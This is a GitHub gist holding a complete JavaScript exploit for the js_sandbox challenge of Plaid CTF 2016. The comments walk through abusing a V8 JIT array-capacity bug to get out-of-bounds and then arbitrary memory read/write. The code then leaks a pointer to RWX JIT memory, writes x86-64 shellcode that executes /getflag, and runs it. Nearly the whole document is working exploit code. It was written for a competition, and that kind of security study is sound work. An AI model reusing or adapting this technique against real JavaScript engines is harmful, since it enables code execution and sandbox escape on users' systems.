Created
April 17, 2016 21:09
-
-
Save sroettger/d077d3907999aaa0f89d11d956b438ea to your computer and use it in GitHub Desktop.
Exploit for the js_sandbox challenge of Plaid CTF 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
with (true) { | |
// f() will allocate a buggy JSArray. The length is set to 24 but the capacity is only 16. | |
// take a look at JSCreateLowering::ReduceJSCreateArray to see why this is happening | |
function f(){ | |
var x = 8; | |
var y = 0xffffffff; | |
var ind = x & y; | |
x = 16; | |
y = 0xffffffff; | |
var ind2 = ind + (x&y); | |
return [new Array(ind2), new Array(ind2)]; | |
} | |
var arr = []; | |
for (var i = 155; i < 1000; i++) { | |
arr = f(); | |
} | |
//to make use of the buggy capacity, we need to write in a loop | |
for(var i = 0; i < 24; i+=17){ | |
arr[0][i] = 2261634.5098039214; | |
} | |
for(var i = 0; i < 24; i+=17){ | |
arr[1][i] = 156842099844.51764; | |
} | |
arr[0].slice(0,1); | |
for(var i = 0; i < 24; i+=17){ | |
arr[0][i] = 7.291066392709935e-304; | |
} | |
//at this point, arr[0] was used to overwrite the capacity of arr[1]'s backing store | |
//now arr[1] let's us read/write out of bounds. | |
//Note that we're using float arrays so that we can write 64 bit values | |
//next we allocate two things behind our float array | |
//1. an ArrayBuffer to turn this into an arbitrary read write | |
//2. a JSArray containing function pointers | |
//Now we find the length fields of these two using the out of bounds read | |
var ab = new ArrayBuffer(0x1337); | |
var next = [f, f, f, f, f, f, f, f, f]; | |
var ab_off = 0; | |
var next_off = 0; | |
for(var i = 0 ; i < 4096; ++i) { | |
if(arr[1][i] == 1.0438097295758e-310) { | |
// 0x1337 | |
print('found'); | |
ab_off = i; | |
break; | |
} | |
} | |
for(var i = 0 ; i < 4096; ++i) { | |
if(arr[1][i] == 1.90979621187e-313) { | |
// 9 | |
var test = arr[1][i+1]; | |
for(var j = 1; j < 9; j++) { | |
if(arr[1][i+j+1] != test) { | |
test = 0; | |
break; | |
} | |
} | |
if(test != 0) { | |
print('found'); | |
next_off = i; | |
break; | |
} | |
} | |
} | |
print(next_off); | |
//set the length of the ArrayBuffer to a large value | |
arr[1][ab_off] = 1.2882199255063871e-231; | |
//some helper functions to handle float / bit int conversions | |
function i2_to_d(x){ | |
return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0]; | |
} | |
function d_to_i2(d){ | |
var a = new Uint32Array(new Float64Array([d]).buffer); | |
return [a[1], a[0]]; | |
} | |
function i2_to_hex(i2){ | |
var v1 = ("00000000" + i2[0].toString(16)).substr(-8); | |
var v2 = ("00000000" + i2[1].toString(16)).substr(-8); | |
return v1 + v2; | |
} | |
function i2_sub_i(i2, i){ | |
if(i2[1] < 1){ | |
return [i2[0] - 1, i2[1] + (0xffffffff - (i-1))]; | |
} else { | |
return [i2[0], i2[1]-i]; | |
} | |
} | |
function i2_add_i(i2, i){ | |
if(i2[1] < 1 || (0xffffffff - (i2[1]-1)) > i){ | |
return [i2[0], i2[1]+i]; | |
} else { | |
return [i2[0] + 1, i2[1] - (0xffffffff - (i-1))]; | |
} | |
} | |
function p_i2(i2){ | |
print(i2_to_hex(i2)); | |
} | |
//for the arbitrary read/write, we simply overwrite the backing store pointer in the ArrayBuffer | |
function read(addr){ | |
arr[1][ab_off+1] = i2_to_d(addr); | |
var u32 = new Uint32Array(ab); | |
return [u32[1], u32[0]]; | |
} | |
function write(addr, val){ | |
arr[1][ab_off+1] = i2_to_d(addr); | |
var u8 = new Uint8Array(ab); | |
for (var i = 0; i < val.length; i++){ | |
u8[i] = val[i]; | |
} | |
} | |
//now that we have an arbitrary read/write, the final steps are easy | |
//use the leaked function object to get a pointer to the JIT memory (which is mapped rwx) | |
var fn_obj = i2_sub_i(d_to_i2(arr[1][next_off+1]), 1); | |
p_i2(fn_obj); | |
p_i2(i2_add_i(fn_obj, 0x38)); | |
var rwx = read(i2_add_i(fn_obj, 0x38)); | |
p_i2(rwx); | |
//overwrite it with our shellcode | |
sc = [0x48, 0x31, 0xd2, 0x52, 0x48, 0xbb, 0x2f, 0x67, 0x65, 0x74, 0x66, 0x6c, 0x61, 0x67, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0xf, 0x5]; | |
write(rwx, sc); | |
//and call the function | |
f(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment